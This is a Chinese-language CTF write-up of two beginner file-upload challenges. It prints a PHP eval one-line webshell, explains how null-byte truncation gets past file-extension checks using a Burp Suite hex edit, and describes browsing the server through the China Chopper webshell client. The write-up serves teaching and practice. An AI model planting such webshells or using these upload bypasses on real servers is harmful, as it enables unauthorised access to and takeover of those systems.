暑期web10:基礎的檔案上傳upload(i春秋)、上傳繞過(實驗吧)
介於之前做了個包括檔案上傳步驟的題,突然想拿兩個之前做過的檔案上傳題來回顧一下一些基礎做法
首先是實驗吧的上傳繞過
首先我們上傳最基礎的一句話木馬:<?php @eval($_POST['pass']);?>
反饋是‘不被允許的檔案型別,僅支援上傳jpg,gif,png字尾的檔案’
於是我把他的字尾改為.jpg再上傳,又回顯‘必須上傳字尾名為php的檔案才行’
做成php.jpg有了新的回顯,但似乎也沒什麼用
這裡就又要用到我們的神奇burpsuite了,點選submit後抓包
先說一個知識點,00截斷(此處轉載自https://www.cnblogs.com/milantgh/p/3612978.html)
簡單舉個例子,看下面的程式碼
<%
path=“upfiles/picture/”
file=“20121212.jpg”
upfilename=path & file '最後的上傳地址
%>
就這段程式碼中的path為上傳的路徑,file為生成的檔名,upfilename為上傳後的地址,程式表面是沒什麼問題,但如果path可以由使用者自定義(path這個引數往往是從表單或引數傳過來的,能夠自定義),所以就產生了上傳路徑截斷漏洞
比如我在表單中把路徑改成了“upfiles/1.aspChr(0)”
這樣上傳路徑就成了 path=“upfiles/1.aspChr(0)” --------chr(0)代表那個截斷字元
這時變數被輸出時,就成了upfiles/1.asp
而不是upfiles/upfiles/1.aspChr(0)20121212.jpg
從而達到了截斷的效果
為什麼要把他截斷呢?便於理解的說就是,這題有兩個關卡:第一關字尾必須為jpg,第二關後面必須為php,而我們在bp中的操作呢,就相當於卡在了中間,對這個檔案做修改,使他最後能符合第二關的條件
00截斷是檔案字尾名就一個%00位元組,可以截斷某些函式對檔名的判斷,在許多語言函式中,處理字串的函式中0x00被認為是終止符
。
例如,網站上傳函式處理xxx.php%00.jpg時,首先後綴名是合法的jpg格式,可以上傳,在儲存檔案時,遇到%00字元,丟棄後面的jpg,檔案字尾最終儲存的字尾名為xxx.php
這裡呢,我們再upload後邊加上‘xx.php’後加上一個用來截斷的字元,比如#,空格等都行,然後在hex找到相應的位置,並將對於的截斷符的十六進位制碼改為00
比如此處就是將23改為00
再點選go,就得到了flag
接下來做另一個題
還是常規的檔案上傳題介面
先上傳最初的一句話
<?php @eval($_POST['pass']);?>
顯示上傳成功後點進去,回顯為:@eval(_POST[pass])```
上傳後發現沒有被過濾。這時候開啟軟體:中國菜刀
菜刀的作用就是可以通過一句話木馬瀏覽目標地方所有目錄及其中的檔案
這裡我們先把url放上去,然後我們post傳值的引數是pass,所以在後面加上pass
設定完雙擊進入,就能發現目錄了
這裡還發現了我們自己之前上傳的幾個檔案,然後翻翻其他目錄,發現了flag.php
點進去得到flag
總結:這兩個題呢就是最常規的檔案上傳題的做法,以及相關軟體的初步應用,沒啥技術難點,也算有點東西吧